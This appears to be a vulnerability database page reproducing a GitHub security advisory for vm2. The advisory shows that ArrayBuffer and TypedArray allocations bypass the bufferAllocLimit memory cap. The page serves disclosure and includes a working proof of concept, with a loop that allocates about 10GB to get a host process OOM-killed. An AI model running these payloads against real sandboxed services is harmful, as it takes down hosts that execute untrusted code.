GHSA-V836-6XW4-9CX3

Vulnerability from github – Published: 2026-08-17 17:32 – Updated: 2026-08-17 17:32
VLAI
Summary
vm2 has Memory Exhaustion DoS via bufferAllocLimit Bypass
Details

Summary:

The bufferAllocLimit defense (GHSA-6785-pvv7-mvg7) can be completely bypassed using ArrayBuffer, SharedArrayBuffer, or any TypedArray constructor. These allocate identical host-process RSS through the same V8/libuv C++ allocation path as Buffer.alloc but are not subject to the size cap.

Details:

The bufferAllocLimit option (vm2 v3.11.0+) caps Buffer.alloc, Buffer.allocUnsafe, Buffer.allocUnsafeSlow, and the deprecated Buffer(N) / new Buffer(N) forms. The cap is enforced in setup-sandbox.js via checkBufferAllocLimit() (line 353-359).

However, ArrayBuffer, SharedArrayBuffer, Uint8Array, Float64Array, and all other TypedArray constructors are sandbox-realm V8 intrinsics that allocate host memory through the SAME underlying C++ path (v8::ArrayBuffer::NewBackingStoreArrayBufferAllocator::Allocatecalloc/malloc). These constructors are NOT intercepted by the bufferAllocLimit defense.

A single new ArrayBuffer(N) call with a large N exhausts host RSS in one synchronous allocation that V8's timeout cannot interrupt.

Environment:

  • vm2 version: 3.11.3
  • Node.js: v25.8.1 (affects all Node.js versions)
  • Configuration: Default new VM() or any configuration including bufferAllocLimit

POC:

const { VM } = require('vm2');

// Operator sets bufferAllocLimit thinking they're protected:
const vm = new VM({ bufferAllocLimit: 10 * 1024 * 1024 }); // 10MB cap

// Buffer.alloc IS capped (as intended):
try { vm.run('Buffer.alloc(20 * 1024 * 1024)'); }
catch(e) { console.log('Buffer.alloc blocked:', e.message); }
// → "Buffer allocation size 20971520 exceeds bufferAllocLimit 10485760"

// But these BYPASS the cap entirely:
vm.run('new ArrayBuffer(1024 * 1024 * 1024)');        // 1GB allocated!
vm.run('new SharedArrayBuffer(1024 * 1024 * 1024)');  // 1GB allocated!
vm.run('new Uint8Array(1024 * 1024 * 1024)');         // 1GB allocated!
vm.run('new Float64Array(128 * 1024 * 1024)');        // 1GB allocated!

// OOM kill in constrained environments (Docker, K8s, Lambda):
vm.run('var a=[]; for(var i=0;i<100;i++) a.push(new ArrayBuffer(100*1024*1024))');
// → 10GB allocated → host OOM killed

Verification:

node -e '
const {VM} = require("./lib/main.js");
const vm = new VM({bufferAllocLimit: 10*1024*1024});
try { vm.run("Buffer.alloc(20*1024*1024)"); } catch(e) { console.log("Buffer BLOCKED"); }
console.log("ArrayBuffer:", vm.run("new ArrayBuffer(100*1024*1024).byteLength"), "bytes allocated");
console.log("SharedArrayBuffer:", vm.run("new SharedArrayBuffer(100*1024*1024).byteLength"), "bytes allocated");
'
# Output:
# Buffer BLOCKED
# ArrayBuffer: 104857600 bytes allocated
# SharedArrayBuffer: 104857600 bytes allocated

Impact:

  • Type: Denial of Service (Host Memory Exhaustion)
  • Attack Complexity: Low
  • Availability Impact: Complete, host process OOM killed in memory-constrained environments
  • Affected deployments: Docker containers, Kubernetes pods, AWS Lambda, any environment with memory limits. Especially dangerous when operators explicitly set bufferAllocLimit believing they have DoS protection.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T17:32:57Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary:\n\nThe `bufferAllocLimit` defense (GHSA-6785-pvv7-mvg7) can be completely bypassed using `ArrayBuffer`, `SharedArrayBuffer`, or any `TypedArray` constructor. These allocate identical host-process RSS through the same V8/libuv C++ allocation path as `Buffer.alloc` but are not subject to the size cap.\n\n### Details:\n\nThe `bufferAllocLimit` option (vm2 v3.11.0+) caps `Buffer.alloc`, `Buffer.allocUnsafe`, `Buffer.allocUnsafeSlow`, and the deprecated `Buffer(N)` / `new Buffer(N)` forms. The cap is enforced in `setup-sandbox.js` via `checkBufferAllocLimit()` (line 353-359).\n\nHowever, `ArrayBuffer`, `SharedArrayBuffer`, `Uint8Array`, `Float64Array`, and all other TypedArray constructors are sandbox-realm V8 intrinsics that allocate host memory through the SAME underlying C++ path (`v8::ArrayBuffer::NewBackingStore` \u2192 `ArrayBufferAllocator::Allocate` \u2192 `calloc/malloc`). These constructors are NOT intercepted by the `bufferAllocLimit` defense.\n\nA single `new ArrayBuffer(N)` call with a large `N` exhausts host RSS in one synchronous allocation that V8\u0027s `timeout` cannot interrupt.\n\n### Environment:\n\n- vm2 version: 3.11.3\n- Node.js: v25.8.1 (affects all Node.js versions)\n- Configuration: Default `new VM()` or any configuration including `bufferAllocLimit`\n\n### POC:\n\n```javascript\nconst { VM } = require(\u0027vm2\u0027);\n\n// Operator sets bufferAllocLimit thinking they\u0027re protected:\nconst vm = new VM({ bufferAllocLimit: 10 * 1024 * 1024 }); // 10MB cap\n\n// Buffer.alloc IS capped (as intended):\ntry { vm.run(\u0027Buffer.alloc(20 * 1024 * 1024)\u0027); }\ncatch(e) { console.log(\u0027Buffer.alloc blocked:\u0027, e.message); }\n// \u2192 \"Buffer allocation size 20971520 exceeds bufferAllocLimit 10485760\"\n\n// But these BYPASS the cap entirely:\nvm.run(\u0027new ArrayBuffer(1024 * 1024 * 1024)\u0027);        // 1GB allocated!\nvm.run(\u0027new SharedArrayBuffer(1024 * 1024 * 1024)\u0027);  // 1GB allocated!\nvm.run(\u0027new Uint8Array(1024 * 1024 * 1024)\u0027);         // 1GB allocated!\nvm.run(\u0027new Float64Array(128 * 1024 * 1024)\u0027);        // 1GB allocated!\n\n// OOM kill in constrained environments (Docker, K8s, Lambda):\nvm.run(\u0027var a=[]; for(var i=0;i\u003c100;i++) a.push(new ArrayBuffer(100*1024*1024))\u0027);\n// \u2192 10GB allocated \u2192 host OOM killed\n```\n\n**Verification:**\n\n```bash\nnode -e \u0027\nconst {VM} = require(\"./lib/main.js\");\nconst vm = new VM({bufferAllocLimit: 10*1024*1024});\ntry { vm.run(\"Buffer.alloc(20*1024*1024)\"); } catch(e) { console.log(\"Buffer BLOCKED\"); }\nconsole.log(\"ArrayBuffer:\", vm.run(\"new ArrayBuffer(100*1024*1024).byteLength\"), \"bytes allocated\");\nconsole.log(\"SharedArrayBuffer:\", vm.run(\"new SharedArrayBuffer(100*1024*1024).byteLength\"), \"bytes allocated\");\n\u0027\n# Output:\n# Buffer BLOCKED\n# ArrayBuffer: 104857600 bytes allocated\n# SharedArrayBuffer: 104857600 bytes allocated\n```\n\n### Impact:\n\n- **Type:** Denial of Service (Host Memory Exhaustion)\n- **Attack Complexity:** Low\n- **Availability Impact:** Complete, host process OOM killed in memory-constrained environments\n- **Affected deployments:** Docker containers, Kubernetes pods, AWS Lambda, any environment with memory limits. Especially dangerous when operators explicitly set `bufferAllocLimit` believing they have DoS protection.",
  "id": "GHSA-v836-6xw4-9cx3",
  "modified": "2026-08-17T17:32:57Z",
  "published": "2026-08-17T17:32:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-v836-6xw4-9cx3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/3.11.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 has Memory Exhaustion DoS via bufferAllocLimit Bypass"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…